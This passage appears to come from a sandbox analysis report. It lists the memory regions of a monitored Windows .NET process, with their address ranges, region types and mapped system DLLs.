1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 415 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 416 start_va = 0x22f0000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 417 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 418 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 419 start_va = 0x22c0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 420 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 421 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 422 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 423 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 424 start_va = 0x2310000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 425 start_va = 0x2320000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 426 start_va = 0x2340000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 427 start_va = 0x2360000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 428 start_va = 0x2390000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 429 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 430 start_va = 0x1aeb0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 431 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 432 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 433 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 434 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 435 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 436 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 437 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 438 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 439 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 440 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 441 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 442 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 443 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 444 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 445 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 446 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 447 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 448 start_va = 0x520000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 449 start_va = 0x7ff9ff340000 end_va = 0x7ff9ff34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff340000" filename = "" Region: id = 450 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 451 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 452 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 453 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 454 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 455 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 456 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 457 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 458 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 459 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 460 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 461 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 462 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 463 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 464 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 465 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 466 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 467 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 468 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 469 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 470 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 471 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 472 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 473 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 474 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 475 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 476 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 477 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 478 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 479 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 480 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 481 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 482 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 483 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 484 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 485 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 486 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 487 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 488 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 489 start_va = 0xa10000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 490 start_va = 0xa50000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 491 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 492 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 493 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 494 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 495 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 496 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 497 start_va = 0x7ff9ff350000 end_va = 0x7ff9ff35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff350000" filename = "" Region: id = 498 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 499 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 500 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 501 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 502 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 503 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 504 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 505 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 506 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 507 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 508 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 509 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 510 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 511 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 512 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 513 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 514 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 515 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 516 start_va = 0x7ffa5a8a0000 end_va = 0x7ffa5a9c1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\2fe311002b76e58f2f89f897a32b62a2\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\2fe311002b76e58f2f89f897a32b62a2\\system.configuration.ni.dll") Region: id = 517 start_va = 0x7ffa59ff0000 end_va = 0x7ffa5a895fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\c2f35cb9621b8ca33a05759bbb0683c1\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\c2f35cb9621b8ca33a05759bbb0683c1\\system.xml.ni.dll") Region: id = 518 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 519 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 520 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 521 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 522 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 523 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 524 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 525 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 526 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 527 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 528 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 529 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 530 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 531 start_va = 0x7ffa79430000 end_va = 0x7ffa7a98efff monitored = 0 entry_point = 0x7ffa795911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 532 start_va = 0x7ffa786c0000 end_va = 0x7ffa78702fff monitored = 0 entry_point = 0x7ffa786d4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 533 start_va = 0x7ffa78ba0000 end_va = 0x7ffa791e3fff monitored = 0 entry_point = 0x7ffa78d664b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 534 start_va = 0x7ffa78530000 end_va = 0x7ffa785e4fff monitored = 0 entry_point = 0x7ffa785722e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 535 start_va = 0x7ffa784e0000 end_va = 0x7ffa7852afff monitored = 0 entry_point = 0x7ffa784e35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 536 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 537 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 538 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 539 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 540 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 541 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 542 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 543 start_va = 0x7ffa78330000 end_va = 0x7ffa78358fff monitored = 0 entry_point = 0x7ffa78344530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 544 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 545 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 546 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 547 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 548 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 549 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 550 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 551 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 552 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 553 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 554 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 555 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 556 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 557 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 558 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 559 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 560 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 561 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 562 start_va = 0x790000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 563 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 564 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 565 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 566 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 567 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 568 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 569 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 570 start_va = 0x1b310000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 571 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 572 start_va = 0x1b410000 end_va = 0x1b7e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 573 start_va = 0x1b410000 end_va = 0x1b7e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 574 start_va = 0x1b410000 end_va = 0x1b7d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 575 start_va = 0x1b410000 end_va = 0x1b7e2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 576 start_va = 0x1b410000 end_va = 0x1b7d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 577 start_va = 0x1b410000 end_va = 0x1b7dcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 578 start_va = 0x1b410000 end_va = 0x1b7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 579 start_va = 0x1b410000 end_va = 0x1b7e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 580 start_va = 0x1b410000 end_va = 0x1b7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 581 start_va = 0x1b410000 end_va = 0x1b7e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 582 start_va = 0x1b410000 end_va = 0x1b7defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 583 start_va = 0x1b410000 end_va = 0x1b7dcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 584 start_va = 0x1b410000 end_va = 0x1b7dafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 585 start_va = 0x1b410000 end_va = 0x1b7e5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 586 start_va = 0x1b410000 end_va = 0x1b7dafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 587 start_va = 0x1b410000 end_va = 0x1b7dcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 588 start_va = 0x1b410000 end_va = 0x1b7e5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 589 start_va = 0x1b410000 end_va = 0x1b7dcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 590 start_va = 0x1b410000 end_va = 0x1b7d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 591 start_va = 0x1b410000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 592 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 593 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 594 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 595 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 596 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 597 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 598 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 599 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 600 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 601 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 602 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 603 start_va = 0x7e0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 604 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 605 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 606 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 607 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 608 start_va = 0x530000 end_va = 0x537fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 609 start_va = 0x7ff9ff360000 end_va = 0x7ff9ff36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff360000" filename = "" Region: id = 610 start_va = 0x7ff9ff370000 end_va = 